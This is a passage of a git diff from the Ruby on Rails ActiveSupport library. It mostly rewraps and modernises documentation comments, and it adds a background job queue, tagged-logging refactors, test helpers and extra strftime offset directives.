# Unicode.unpack_graphemes('Café') # => [[67], [97], [102], [233]]
@@ -206,9 +212,11 @@ module ActiveSupport
codepoints
end
- # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent resulting in a valid UTF-8 string.
+ # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
+ # resulting in a valid UTF-8 string.
#
- # Passing +true+ will forcibly tidy all bytes, assuming that the string's encoding is entirely CP1252 or ISO-8859-1.
+ # Passing +true+ will forcibly tidy all bytes, assuming that the string's
+ # encoding is entirely CP1252 or ISO-8859-1.
def tidy_bytes(string, force = false)
if force
return string.unpack("C*").map do |b|
@@ -257,13 +265,14 @@ module ActiveSupport
bytes.empty? ? "" : bytes.flatten.compact.pack("C*").unpack("U*").pack("U*")
end
- # Returns the KC normalization of the string by default. NFKC is considered the best normalization form for
- # passing strings to databases and validations.
+ # Returns the KC normalization of the string by default. NFKC is
+ # considered the best normalization form for passing strings to databases
+ # and validations.
#
# * <tt>string</tt> - The string to perform normalization on.
- # * <tt>form</tt> - The form you want to normalize in. Should be one of the following:
- # <tt>:c</tt>, <tt>:kc</tt>, <tt>:d</tt>, or <tt>:kd</tt>. Default is
- # ActiveSupport::Multibyte.default_normalization_form
+ # * <tt>form</tt> - The form you want to normalize in. Should be one of
+ # the following: <tt>:c</tt>, <tt>:kc</tt>, <tt>:d</tt>, or <tt>:kd</tt>.
+ # Default is ActiveSupport::Multibyte.default_normalization_form.
def normalize(string, form=nil)
form ||= @default_normalization_form
# See http://www.unicode.org/reports/tr15, Table 1
@@ -294,7 +303,7 @@ module ActiveSupport
apply_mapping string, :swapcase_mapping
end
- # Holds data about a codepoint in the Unicode database
+ # Holds data about a codepoint in the Unicode database.
class Codepoint
attr_accessor :code, :combining_class, :decomp_type, :decomp_mapping, :uppercase_mapping, :lowercase_mapping
@@ -303,7 +312,7 @@ module ActiveSupport
end
end
- # Holds static data from the Unicode database
+ # Holds static data from the Unicode database.
class UnicodeDatabase
ATTRIBUTES = :codepoints, :composition_exclusion, :composition_map, :boundary, :cp1252
@@ -327,7 +336,8 @@ module ActiveSupport
EOS
end
- # Loads the Unicode database and returns all the internal objects of UnicodeDatabase.
+ # Loads the Unicode database and returns all the internal objects of
+ # UnicodeDatabase.
def load
begin
@codepoints, @composition_exclusion, @composition_map, @boundary, @cp1252 = File.open(self.class.filename, 'rb') { |f| Marshal.load f.read }
@@ -350,12 +360,12 @@ module ActiveSupport
end
end
- # Returns the directory in which the data files are stored
+ # Returns the directory in which the data files are stored.
def self.dirname
File.dirname(__FILE__) + '/../values/'
end
- # Returns the filename for the data file for this version
+ # Returns the filename for the data file for this version.
def self.filename
File.expand_path File.join(dirname, "unicode_tables.dat")
end
diff --git a/activesupport/lib/active_support/notifications.rb b/activesupport/lib/active_support/notifications.rb
index b4657a8ba9..aefba1c4f5 100644
--- a/activesupport/lib/active_support/notifications.rb
+++ b/activesupport/lib/active_support/notifications.rb
@@ -4,19 +4,20 @@ require 'active_support/notifications/fanout'
module ActiveSupport
# = Notifications
#
- # <tt>ActiveSupport::Notifications</tt> provides an instrumentation API for Ruby.
+ # <tt>ActiveSupport::Notifications</tt> provides an instrumentation API for
+ # Ruby.
#
# == Instrumenters
#
# To instrument an event you just need to do:
#
- # ActiveSupport::Notifications.instrument("render", :extra => :information) do
- # render :text => "Foo"
+ # ActiveSupport::Notifications.instrument('render', extra: :information) do
+ # render text: 'Foo'
# end
#
# That executes the block first and notifies all subscribers once done.
#
- # In the example above "render" is the name of the event, and the rest is called
+ # In the example above +render+ is the name of the event, and the rest is called
# the _payload_. The payload is a mechanism that allows instrumenters to pass
# extra information to subscribers. Payloads consist of a hash whose contents
# are arbitrary and generally depend on the event.
@@ -28,21 +29,21 @@ module ActiveSupport
#
# events = []
#
- # ActiveSupport::Notifications.subscribe("render") do |*args|
+ # ActiveSupport::Notifications.subscribe('render') do |*args|
# events << ActiveSupport::Notifications::Event.new(*args)
# end
#
# That code returns right away, you are just subscribing to "render" events.
# The block is saved and will be called whenever someone instruments "render":
#
- # ActiveSupport::Notifications.instrument("render", :extra => :information) do
- # render :text => "Foo"
+ # ActiveSupport::Notifications.instrument('render', extra: :information) do
+ # render text: 'Foo'
# end
#
# event = events.first
# event.name # => "render"
# event.duration # => 10 (in milliseconds)
- # event.payload # => { :extra => :information }
+ # event.payload # => { extra: :information }
#
# The block in the <tt>subscribe</tt> call gets the name of the event, start
# timestamp, end timestamp, a string with a unique identifier for that event
@@ -63,7 +64,7 @@ module ActiveSupport
# module ActionController
# class PageRequest
# def call(name, started, finished, unique_id, payload)
- # Rails.logger.debug ["notification:", name, started, finished, unique_id, payload].join(" ")
+ # Rails.logger.debug ['notification:', name, started, finished, unique_id, payload].join(' ')
# end
# end
# end
diff --git a/activesupport/lib/active_support/notifications/instrumenter.rb b/activesupport/lib/active_support/notifications/instrumenter.rb
index 78d0397f1f..ab0b162ee0 100644
--- a/activesupport/lib/active_support/notifications/instrumenter.rb
+++ b/activesupport/lib/active_support/notifications/instrumenter.rb
@@ -13,7 +13,7 @@ module ActiveSupport
# Instrument the given block by measuring the time taken to execute it
# and publish it. Notice that events get sent even if an error occurs
- # in the passed-in block
+ # in the passed-in block.
def instrument(name, payload={})
@notifier.start(name, @id, payload)
begin
diff --git a/activesupport/lib/active_support/number_helper.rb b/activesupport/lib/active_support/number_helper.rb
index 3849f94a31..2191471daa 100644
--- a/activesupport/lib/active_support/number_helper.rb
+++ b/activesupport/lib/active_support/number_helper.rb
@@ -126,13 +126,13 @@ module ActiveSupport
# ==== Examples
#
# number_to_phone(5551234) # => 555-1234
- # number_to_phone("5551234") # => 555-1234
+ # number_to_phone('5551234') # => 555-1234
# number_to_phone(1235551234) # => 123-555-1234
# number_to_phone(1235551234, area_code: true) # => (123) 555-1234
# number_to_phone(1235551234, delimiter: ' ') # => 123 555 1234
# number_to_phone(1235551234, area_code: true, extension: 555) # => (123) 555-1234 x 555
# number_to_phone(1235551234, country_code: 1) # => +1-123-555-1234
- # number_to_phone("123a456") # => 123a456
+ # number_to_phone('123a456') # => 123a456
#
# number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: '.')
# # => +1.123.555.1234 x 1343
@@ -249,7 +249,7 @@ module ActiveSupport
# number_to_percentage(100, precision: 0) # => 100%
# number_to_percentage(1000, delimiter: '.', separator: ,') # => 1.000,000%
# number_to_percentage(302.24398923423, precision: 5) # => 302.24399%
- # number_to_percentage(1000, :locale => :fr) # => 1 000,000%
+ # number_to_percentage(1000, locale: :fr) # => 1 000,000%
# number_to_percentage('98a') # => 98a%
# number_to_percentage(100, format: '%n %') # => 100 %
def number_to_percentage(number, options = {})
@@ -524,7 +524,7 @@ module ActiveSupport
# ==== Custom Unit Quantifiers
#
# You can also use your own custom unit quantifiers:
- # number_to_human(500000, :units => {:unit => "ml", :thousand => "lt"}) # => "500 lt"
+ # number_to_human(500000, units: { unit: 'ml', thousand: 'lt' }) # => "500 lt"
#
# If in your I18n locale you have:
#
@@ -542,12 +542,12 @@ module ActiveSupport
#
# Then you could do:
#
- # number_to_human(543934, :units => :distance) # => "544 kilometers"
- # number_to_human(54393498, :units => :distance) # => "54400 kilometers"
- # number_to_human(54393498000, :units => :distance) # => "54.4 gazillion-distance"
- # number_to_human(343, :units => :distance, :precision => 1) # => "300 meters"
- # number_to_human(1, :units => :distance) # => "1 meter"
- # number_to_human(0.34, :units => :distance) # => "34 centimeters"
+ # number_to_human(543934, units: :distance) # => "544 kilometers"
+ # number_to_human(54393498, units: :distance) # => "54400 kilometers"
+ # number_to_human(54393498000, units: :distance) # => "54.4 gazillion-distance"
+ # number_to_human(343, units: :distance, precision: 1) # => "300 meters"
+ # number_to_human(1, units: :distance) # => "1 meter"
+ # number_to_human(0.34, units: :distance) # => "34 centimeters"
def number_to_human(number, options = {})
options = options.symbolize_keys
diff --git a/activesupport/lib/active_support/ordered_options.rb b/activesupport/lib/active_support/ordered_options.rb
index 60e6cd55ad..c9518bda79 100644
--- a/activesupport/lib/active_support/ordered_options.rb
+++ b/activesupport/lib/active_support/ordered_options.rb
@@ -1,20 +1,19 @@
-# Usually key value pairs are handled something like this:
-#
-# h = {}
-# h[:boy] = 'John'
-# h[:girl] = 'Mary'
-# h[:boy] # => 'John'
-# h[:girl] # => 'Mary'
-#
-# Using <tt>OrderedOptions</tt>, the above code could be reduced to:
-#
-# h = ActiveSupport::OrderedOptions.new
-# h.boy = 'John'
-# h.girl = 'Mary'
-# h.boy # => 'John'
-# h.girl # => 'Mary'
-#
-module ActiveSupport #:nodoc:
+module ActiveSupport
+ # Usually key value pairs are handled something like this:
+ #
+ # h = {}
+ # h[:boy] = 'John'
+ # h[:girl] = 'Mary'
+ # h[:boy] # => 'John'
+ # h[:girl] # => 'Mary'
+ #
+ # Using +OrderedOptions+, the above code could be reduced to:
+ #
+ # h = ActiveSupport::OrderedOptions.new
+ # h.boy = 'John'
+ # h.girl = 'Mary'
+ # h.boy # => 'John'
+ # h.girl # => 'Mary'
class OrderedOptions < Hash
alias_method :_get, :[] # preserve the original #[] method
protected :_get # make it protected
diff --git a/activesupport/lib/active_support/queueing.rb b/activesupport/lib/active_support/queueing.rb
new file mode 100644
index 0000000000..7c352886f3
--- /dev/null
+++ b/activesupport/lib/active_support/queueing.rb
@@ -0,0 +1,133 @@
+require 'delegate'
+require 'thread'
+
+module ActiveSupport
+ # A Queue that simply inherits from STDLIB's Queue. When this
+ # queue is used, Rails automatically starts a job runner in a
+ # background thread.
+ class Queue < ::Queue
+ attr_writer :consumer
+
+ def initialize(consumer_options = {})
+ super()
+ @consumer_options = consumer_options
+ end
+
+ def consumer
+ @consumer ||= ThreadedQueueConsumer.new(self, @consumer_options)
+ end
+
+ # Drain the queue, running all jobs in a different thread. This method
+ # may not be available on production queues.
+ def drain
+ # run the jobs in a separate thread so assumptions of synchronous
+ # jobs are caught in test mode.
+ consumer.drain
+ end
+ end
+
+ class SynchronousQueue < Queue
+ def push(job)
+ super.tap { drain }
+ end
+ alias << push
+ alias enq push
+ end
+
+ # In test mode, the Rails queue is backed by an Array so that assertions
+ # can be made about its contents. The test queue provides a +jobs+
+ # method to make assertions about the queue's contents and a +drain+
+ # method to drain the queue and run the jobs.
+ #
+ # Jobs are run in a separate thread to catch mistakes where code
+ # assumes that the job is run in the same thread.
+ class TestQueue < Queue
+ # Get a list of the jobs off this queue. This method may not be
+ # available on production queues.
+ def jobs
+ @que.dup
+ end
+
+ # Marshal and unmarshal job before pushing it onto the queue. This will
+ # raise an exception on any attempts in tests to push jobs that can't (or
+ # shouldn't) be marshalled.
+ def push(job)
+ super Marshal.load(Marshal.dump(job))
+ end
+ end
+
+ # A container for multiple queues. This class delegates to a default Queue
+ # so that <tt>Rails.queue.push</tt> and friends will Just Work. To use this class
+ # with multiple queues:
+ #
+ # # In your configuration:
+ # Rails.queue[:image_queue] = SomeQueue.new
+ # Rails.queue[:mail_queue] = SomeQueue.new
+ #
+ # # In your app code:
+ # Rails.queue[:mail_queue].push SomeJob.new
+ #
+ class QueueContainer < DelegateClass(::Queue)
+ def initialize(default_queue)
+ @queues = { :default => default_queue }
+ super(default_queue)
+ end
+
+ def [](queue_name)
+ @queues[queue_name]
+ end
+
+ def []=(queue_name, queue)
+ @queues[queue_name] = queue
+ end
+ end
+
+ # The threaded consumer will run jobs in a background thread in
+ # development mode or in a VM where running jobs on a thread in
+ # production mode makes sense.
+ #
+ # When the process exits, the consumer pushes a nil onto the
+ # queue and joins the thread, which will ensure that all jobs
+ # are executed before the process finally dies.
+ class ThreadedQueueConsumer
+ def self.start(*args)
+ new(*args).start
+ end
+
+ def initialize(queue, options = {})
+ @queue = queue
+ @logger = options[:logger]
+ end
+
+ def start
+ @thread = Thread.new { consume }
+ self
+ end
+
+ def shutdown
+ @queue.push nil
+ @thread.join
+ end
+
+ def drain
+ run(@queue.pop) until @queue.empty?
+ end
+
+ def consume
+ while job = @queue.pop
+ run job
+ end
+ end
+
+ def run(job)
+ job.run
+ rescue Exception => exception
+ handle_exception job, exception
+ end
+
+ def handle_exception(job, exception)
+ raise exception unless @logger
+ @logger.error "Job Error: #{exception.message}\n#{exception.backtrace.join("\n")}"
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/railtie.rb b/activesupport/lib/active_support/railtie.rb
index 30ac881090..133aa6a054 100644
--- a/activesupport/lib/active_support/railtie.rb
+++ b/activesupport/lib/active_support/railtie.rb
@@ -2,9 +2,11 @@ require "active_support"
require "active_support/i18n_railtie"
module ActiveSupport
- class Railtie < Rails::Railtie
+ class Railtie < Rails::Railtie # :nodoc:
config.active_support = ActiveSupport::OrderedOptions.new
+ config.eager_load_namespaces << ActiveSupport
+
initializer "active_support.deprecation_behavior" do |app|
if deprecation = app.config.active_support.deprecation
ActiveSupport::Deprecation.behavior = deprecation
@@ -25,6 +27,15 @@ module ActiveSupport
Time.zone_default = zone_default
end
+ # Sets the default week start
+ # If assigned value is not a valid day symbol (e.g. :sunday, :monday, ...), an exception will be raised.
+ initializer "active_support.initialize_beginning_of_week" do |app|
+ require 'active_support/core_ext/date/calculations'
+ beginning_of_week_default = Date.find_beginning_of_week!(app.config.beginning_of_week)
+
+ Date.beginning_of_week_default = beginning_of_week_default
+ end
+
initializer "active_support.set_configs" do |app|
app.config.active_support.each do |k, v|
k = "#{k}="
diff --git a/activesupport/lib/active_support/rescuable.rb b/activesupport/lib/active_support/rescuable.rb
index 7aecdd11d3..9a038dfbca 100644
--- a/activesupport/lib/active_support/rescuable.rb
+++ b/activesupport/lib/active_support/rescuable.rb
@@ -31,11 +31,11 @@ module ActiveSupport
# any.
#
# class ApplicationController < ActionController::Base
- # rescue_from User::NotAuthorized, :with => :deny_access # self defined exception
- # rescue_from ActiveRecord::RecordInvalid, :with => :show_errors
+ # rescue_from User::NotAuthorized, with: :deny_access # self defined exception
+ # rescue_from ActiveRecord::RecordInvalid, with: :show_errors
#
# rescue_from 'MyAppError::Base' do |exception|
- # render :xml => exception, :status => 500
+ # render xml: exception, status: 500
# end
#
# protected
diff --git a/activesupport/lib/active_support/string_inquirer.rb b/activesupport/lib/active_support/string_inquirer.rb
index 5f20bfa7bc..45271c9163 100644
--- a/activesupport/lib/active_support/string_inquirer.rb
+++ b/activesupport/lib/active_support/string_inquirer.rb
@@ -3,12 +3,11 @@ module ActiveSupport
# for equality. The value returned by <tt>Rails.env</tt> is wrapped
# in a StringInquirer object so instead of calling this:
#
- # Rails.env == "production"
+ # Rails.env == 'production'
#
# you can call this:
#
# Rails.env.production?
- #
class StringInquirer < String
private
diff --git a/activesupport/lib/active_support/tagged_logging.rb b/activesupport/lib/active_support/tagged_logging.rb
index 9cd8ac36bc..33810442da 100644
--- a/activesupport/lib/active_support/tagged_logging.rb
+++ b/activesupport/lib/active_support/tagged_logging.rb
@@ -6,20 +6,38 @@ module ActiveSupport
# Wraps any standard Logger object to provide tagging capabilities.
#
# logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
- # logger.tagged("BCX") { logger.info "Stuff" } # Logs "[BCX] Stuff"
- # logger.tagged("BCX", "Jason") { logger.info "Stuff" } # Logs "[BCX] [Jason] Stuff"
- # logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
+ # logger.tagged('BCX') { logger.info 'Stuff' } # Logs "[BCX] Stuff"
+ # logger.tagged('BCX', "Jason") { logger.info 'Stuff' } # Logs "[BCX] [Jason] Stuff"
+ # logger.tagged('BCX') { logger.tagged('Jason') { logger.info 'Stuff' } } # Logs "[BCX] [Jason] Stuff"
#
- # This is used by the default Rails.logger as configured by Railties to make it easy to stamp log lines
- # with subdomains, request ids, and anything else to aid debugging of multi-user production applications.
+ # This is used by the default Rails.logger as configured by Railties to make
+ # it easy to stamp log lines with subdomains, request ids, and anything else
+ # to aid debugging of multi-user production applications.
module TaggedLogging
module Formatter # :nodoc:
- # This method is invoked when a log event occurs
+ # This method is invoked when a log event occurs.
def call(severity, timestamp, progname, msg)
- super(severity, timestamp, progname, "#{tags_text} #{msg}".lstrip)
+ super(severity, timestamp, progname, "#{tags_text}#{msg}")
end
- def clear!
+ def tagged(*tags)
+ new_tags = push_tags(*tags)
+ yield self
+ ensure
+ pop_tags(new_tags.size)
+ end
+
+ def push_tags(*tags)
+ tags.flatten.reject(&:blank?).tap do |new_tags|
+ current_tags.concat new_tags
+ end
+ end
+
+ def pop_tags(size = 1)
+ current_tags.pop size
+ end
+
+ def clear_tags!
current_tags.clear
end
@@ -28,30 +46,29 @@ module ActiveSupport
end
private
- def tags_text
- tags = current_tags
- if tags.any?
- tags.collect { |tag| "[#{tag}]" }.join(' ')
+ def tags_text
+ tags = current_tags
+ if tags.any?
+ tags.collect { |tag| "[#{tag}] " }.join
+ end
end
- end
end
def self.new(logger)
+ # Ensure we set a default formatter so we aren't extending nil!
+ logger.formatter ||= ActiveSupport::Logger::SimpleFormatter.new
logger.formatter.extend Formatter
logger.extend(self)
end
- def tagged(*new_tags)
- tags = formatter.current_tags
- new_tags = new_tags.flatten.reject(&:blank?)
- tags.concat new_tags
- yield self
- ensure
- tags.pop(new_tags.size)
+ delegate :push_tags, :pop_tags, :clear_tags!, to: :formatter
+
+ def tagged(*tags)
+ formatter.tagged(*tags) { yield self }
end
def flush
- formatter.clear!
+ clear_tags!
super if defined?(super)
end
end
diff --git a/activesupport/lib/active_support/test_case.rb b/activesupport/lib/active_support/test_case.rb
index d2b8e602f9..7b9378a7f6 100644
--- a/activesupport/lib/active_support/test_case.rb
+++ b/activesupport/lib/active_support/test_case.rb
@@ -1,10 +1,12 @@
gem 'minitest' # make sure we get the gem, not stdlib
require 'minitest/spec'
+require 'active_support/testing/tagged_logging'
require 'active_support/testing/setup_and_teardown'
require 'active_support/testing/assertions'
require 'active_support/testing/deprecation'
require 'active_support/testing/isolation'
require 'active_support/testing/mocha_module'
+require 'active_support/testing/constant_lookup'
require 'active_support/core_ext/kernel/reporting'
require 'active_support/deprecation'
@@ -32,6 +34,7 @@ module ActiveSupport
:sorted
end
+ include ActiveSupport::Testing::TaggedLogging
include ActiveSupport::Testing::SetupAndTeardown
include ActiveSupport::Testing::Assertions
include ActiveSupport::Testing::Deprecation
diff --git a/activesupport/lib/active_support/testing/assertions.rb b/activesupport/lib/active_support/testing/assertions.rb
index ee1a647ed8..8466049e20 100644
--- a/activesupport/lib/active_support/testing/assertions.rb
+++ b/activesupport/lib/active_support/testing/assertions.rb
@@ -31,7 +31,7 @@ module ActiveSupport
#
# A lambda or a list of lambdas can be passed in and evaluated:
#
- # assert_difference lambda { Article.count }, 2 do
+ # assert_difference ->{ Article.count }, 2 do
# post :create, article: {...}
# end
#
@@ -77,7 +77,8 @@ module ActiveSupport
assert_difference expression, 0, message, &block
end
- # Test if an expression is blank. Passes if <tt>object.blank?</tt> is +true+.
+ # Test if an expression is blank. Passes if <tt>object.blank?</tt>
+ # is +true+.
#
# assert_blank [] # => true
# assert_blank [[]] # => [[]] is not blank
@@ -90,7 +91,8 @@ module ActiveSupport
assert object.blank?, message
end
- # Test if an expression is not blank. Passes if <tt>object.present?</tt> is +true+.
+ # Test if an expression is not blank. Passes if <tt>object.present?</tt>
+ # is +true+.
#
# assert_present({ data: 'x' }) # => true
# assert_present({}) # => {} is blank
diff --git a/activesupport/lib/active_support/testing/constant_lookup.rb b/activesupport/lib/active_support/testing/constant_lookup.rb
new file mode 100644
index 0000000000..73e87befb6
--- /dev/null
+++ b/activesupport/lib/active_support/testing/constant_lookup.rb
@@ -0,0 +1,52 @@
+require "active_support/concern"
+require "active_support/inflector"
+
+module ActiveSupport
+ module Testing
+ # Resolves a constant from a minitest spec name.
+ #
+ # Given the following spec-style test:
+ #
+ # describe WidgetsController, :index do
+ # describe "authenticated user" do
+ # describe "returns widgets" do
+ # it "has a controller that exists" do
+ # assert_kind_of WidgetsController, @controller
+ # end
+ # end
+ # end
+ # end
+ #
+ # The test will have the following name:
+ #
+ # "WidgetsController::index::authenticated user::returns widgets"
+ #
+ # The constant WidgetsController can be resolved from the name.
+ # The following code will resolve the constant:
+ #
+ # controller = determine_constant_from_test_name(name) do |constant|
+ # Class === constant && constant < ::ActionController::Metal
+ # end
+ module ConstantLookup
+ extend ::ActiveSupport::Concern
+
+ module ClassMethods
+ def determine_constant_from_test_name(test_name)
+ names = test_name.split "::"
+ while names.size > 0 do
+ names.last.sub!(/Test$/, "")
+ begin
+ constant = names.join("::").constantize
+ break(constant) if yield(constant)
+ rescue NameError
+ # Constant wasn't found, move on
+ ensure
+ names.pop
+ end
+ end
+ end
+ end
+
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/testing/performance.rb b/activesupport/lib/active_support/testing/performance.rb
index a6c57cd0ff..7102ffe2ed 100644
--- a/activesupport/lib/active_support/testing/performance.rb
+++ b/activesupport/lib/active_support/testing/performance.rb
@@ -70,7 +70,7 @@ module ActiveSupport
end
protected
- # overridden by each implementation
+ # overridden by each implementation.
def run_gc; end
def run_warmup
@@ -114,7 +114,7 @@ module ActiveSupport
end
end
- # overridden by each implementation
+ # overridden by each implementation.
class Profiler < Performer
def time_with_block
before = Time.now
@@ -221,11 +221,11 @@ module ActiveSupport
end
end
- # overridden by each implementation
+ # overridden by each implementation.
def profile; end
protected
- # overridden by each implementation
+ # overridden by each implementation.
def with_gc_stats; end
end
diff --git a/activesupport/lib/active_support/testing/tagged_logging.rb b/activesupport/lib/active_support/testing/tagged_logging.rb
new file mode 100644
index 0000000000..899467c45f
--- /dev/null
+++ b/activesupport/lib/active_support/testing/tagged_logging.rb
@@ -0,0 +1,30 @@
+require 'active_support/concern'
+
+module ActiveSupport
+ module Testing
+ module TaggedLogging
+ extend ActiveSupport::Concern
+
+ attr_writer :tagged_logger
+
+ def before_setup
+ tagged_logger.push_tags(self.class.name, __name__) if tagged_logging?
+ super
+ end
+
+ def after_teardown
+ super
+ tagged_logger.pop_tags(2) if tagged_logging?
+ end
+
+ private
+ def tagged_logger
+ @tagged_logger ||= (defined?(Rails.logger) && Rails.logger)
+ end
+
+ def tagged_logging?
+ tagged_logger && tagged_logger.respond_to?(:push_tags)
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/time_with_zone.rb b/activesupport/lib/active_support/time_with_zone.rb
index 93c2d614f5..b931de3fac 100644
--- a/activesupport/lib/active_support/time_with_zone.rb
+++ b/activesupport/lib/active_support/time_with_zone.rb
@@ -2,11 +2,13 @@ require 'active_support/values/time_zone'
require 'active_support/core_ext/object/acts_like'
module ActiveSupport
- # A Time-like class that can represent a time in any time zone. Necessary because standard Ruby Time instances are
- # limited to UTC and the system's <tt>ENV['TZ']</tt> zone.
+ # A Time-like class that can represent a time in any time zone. Necessary
+ # because standard Ruby Time instances are limited to UTC and the
+ # system's <tt>ENV['TZ']</tt> zone.
#
- # You shouldn't ever need to create a TimeWithZone instance directly via <tt>new</tt> . Instead use methods
- # +local+, +parse+, +at+ and +now+ on TimeZone instances, and +in_time_zone+ on Time and DateTime instances.
+ # You shouldn't ever need to create a TimeWithZone instance directly via +new+.
+ # Instead use methods +local+, +parse+, +at+ and +now+ on TimeZone instances,
+ # and +in_time_zone+ on Time and DateTime instances.
#
# Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
# Time.zone.local(2007, 2, 10, 15, 30, 45) # => Sat, 10 Feb 2007 15:30:45 EST -05:00
@@ -17,7 +19,8 @@ module ActiveSupport
#
# See Time and TimeZone for further documentation of these methods.
#
- # TimeWithZone instances implement the same API as Ruby Time instances, so that Time and TimeWithZone instances are interchangeable.
+ # TimeWithZone instances implement the same API as Ruby Time instances, so
+ # that Time and TimeWithZone instances are interchangeable.
#
# t = Time.zone.now # => Sun, 18 May 2008 13:27:25 EDT -04:00
# t.hour # => 13
@@ -30,10 +33,9 @@ module ActiveSupport
# t > Time.utc(1999) # => true
# t.is_a?(Time) # => true
# t.is_a?(ActiveSupport::TimeWithZone) # => true
- #
class TimeWithZone
- # Report class name as 'Time' to thwart type checking
+ # Report class name as 'Time' to thwart type checking.
def self.name
'Time'
end
@@ -71,7 +73,8 @@ module ActiveSupport
utc.in_time_zone(new_zone)
end
- # Returns a <tt>Time.local()</tt> instance of the simultaneous time in your system's <tt>ENV['TZ']</tt> zone
+ # Returns a <tt>Time.local()</tt> instance of the simultaneous time in your
+ # system's <tt>ENV['TZ']</tt> zone.
def localtime
utc.respond_to?(:getlocal) ? utc.getlocal : utc.to_time.getlocal
end
@@ -97,7 +100,8 @@ module ActiveSupport
utc? && alternate_utc_string || TimeZone.seconds_to_utc_offset(utc_offset, colon)
end
- # Time uses +zone+ to display the time zone abbreviation, so we're duck-typing it.
+ # Time uses +zone+ to display the time zone abbreviation, so we're
+ # duck-typing it.
def zone
period.zone_identifier.to_s
end
@@ -115,9 +119,10 @@ module ActiveSupport
end
alias_method :iso8601, :xmlschema
- # Coerces time to a string for JSON encoding. The default format is ISO 8601. You can get
- # %Y/%m/%d %H:%M:%S +offset style by setting <tt>ActiveSupport::JSON::Encoding.use_standard_json_time_format</tt>
- # to false.
+ # Coerces time to a string for JSON encoding. The default format is ISO 8601.
+ # You can get %Y/%m/%d %H:%M:%S +offset style by setting
+ # <tt>ActiveSupport::JSON::Encoding.use_standard_json_time_format</tt>
+ # to +false+.
#
# # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
# Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
@@ -126,7 +131,6 @@ module ActiveSupport
# # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
# Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
# # => "2005/02/01 15:15:10 +0000"
- #
def as_json(options = nil)
if ActiveSupport::JSON::Encoding.use_standard_json_time_format
xmlschema
@@ -165,10 +169,14 @@ module ActiveSupport
end
alias_method :to_formatted_s, :to_s
- # Replaces <tt>%Z</tt> and <tt>%z</tt> directives with +zone+ and +formatted_offset+, respectively, before passing to
- # Time#strftime, so that zone information is correct
+ # Replaces <tt>%Z</tt> and <tt>%z</tt> directives with +zone+ and
+ # +formatted_offset+, respectively, before passing to Time#strftime, so
+ # that zone information is correct
def strftime(format)
- format = format.gsub('%Z', zone).gsub('%z', formatted_offset(false))
+ format = format.gsub('%Z', zone)
+ .gsub('%z', formatted_offset(false))
+ .gsub('%:z', formatted_offset(true))
+ .gsub('%::z', formatted_offset(true) + ":00")
time.strftime(format)
end
@@ -307,14 +315,16 @@ module ActiveSupport
initialize(variables[0].utc, ::Time.find_zone(variables[1]), variables[2].utc)
end
- # Ensure proxy class responds to all methods that underlying time instance responds to.
+ # Ensure proxy class responds to all methods that underlying time instance
+ # responds to.
def respond_to_missing?(sym, include_priv)
# consistently respond false to acts_like?(:date), regardless of whether #time is a Time or DateTime
return false if sym.to_sym == :acts_like_date?
time.respond_to?(sym, include_priv)
end
- # Send the missing method to +time+ instance, and wrap result in a new TimeWithZone with the existing +time_zone+.
+ # Send the missing method to +time+ instance, and wrap result in a new
+ # TimeWithZone with the existing +time_zone+.
def method_missing(sym, *args, &block)
wrap_with_time_zone time.__send__(sym, *args, &block)
end
diff --git a/activesupport/lib/active_support/values/time_zone.rb b/activesupport/lib/active_support/values/time_zone.rb
index cc3e6a4bf3..231d61da96 100644
--- a/activesupport/lib/active_support/values/time_zone.rb
+++ b/activesupport/lib/active_support/values/time_zone.rb
@@ -2,29 +2,36 @@ require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/object/try'
module ActiveSupport
- # The TimeZone class serves as a wrapper around TZInfo::Timezone instances. It allows us to do the following:
+ # The TimeZone class serves as a wrapper around TZInfo::Timezone instances.
+ # It allows us to do the following:
#
- # * Limit the set of zones provided by TZInfo to a meaningful subset of 142 zones.
- # * Retrieve and display zones with a friendlier name (e.g., "Eastern Time (US & Canada)" instead of "America/New_York").
+ # * Limit the set of zones provided by TZInfo to a meaningful subset of 142
+ # zones.
+ # * Retrieve and display zones with a friendlier name
+ # (e.g., "Eastern Time (US & Canada)" instead of "America/New_York").
# * Lazily load TZInfo::Timezone instances only when they're needed.
- # * Create ActiveSupport::TimeWithZone instances via TimeZone's +local+, +parse+, +at+ and +now+ methods.
+ # * Create ActiveSupport::TimeWithZone instances via TimeZone's +local+,
+ # +parse+, +at+ and +now+ methods.
#
- # If you set <tt>config.time_zone</tt> in the Rails Application, you can access this TimeZone object via <tt>Time.zone</tt>:
+ # If you set <tt>config.time_zone</tt> in the Rails Application, you can
+ # access this TimeZone object via <tt>Time.zone</tt>:
#
# # application.rb:
# class Application < Rails::Application
- # config.time_zone = "Eastern Time (US & Canada)"
+ # config.time_zone = 'Eastern Time (US & Canada)'
# end
#
- # Time.zone # => #<TimeZone:0x514834...>
- # Time.zone.name # => "Eastern Time (US & Canada)"
- # Time.zone.now # => Sun, 18 May 2008 14:30:44 EDT -04:00
+ # Time.zone # => #<TimeZone:0x514834...>
+ # Time.zone.name # => "Eastern Time (US & Canada)"
+ # Time.zone.now # => Sun, 18 May 2008 14:30:44 EDT -04:00
#
- # The version of TZInfo bundled with Active Support only includes the definitions necessary to support the zones
- # defined by the TimeZone class. If you need to use zones that aren't defined by TimeZone, you'll need to install the TZInfo gem
- # (if a recent version of the gem is installed locally, this will be used instead of the bundled version.)
+ # The version of TZInfo bundled with Active Support only includes the
+ # definitions necessary to support the zones defined by the TimeZone class.
+ # If you need to use zones that aren't defined by TimeZone, you'll need to
+ # install the TZInfo gem (if a recent version of the gem is installed locally,
+ # this will be used instead of the bundled version.)
class TimeZone
- # Keys are Rails TimeZone names, values are TZInfo identifiers
+ # Keys are Rails TimeZone names, values are TZInfo identifiers.
MAPPING = {
"International Date Line West" => "Pacific/Midway",
"Midway Island" => "Pacific/Midway",
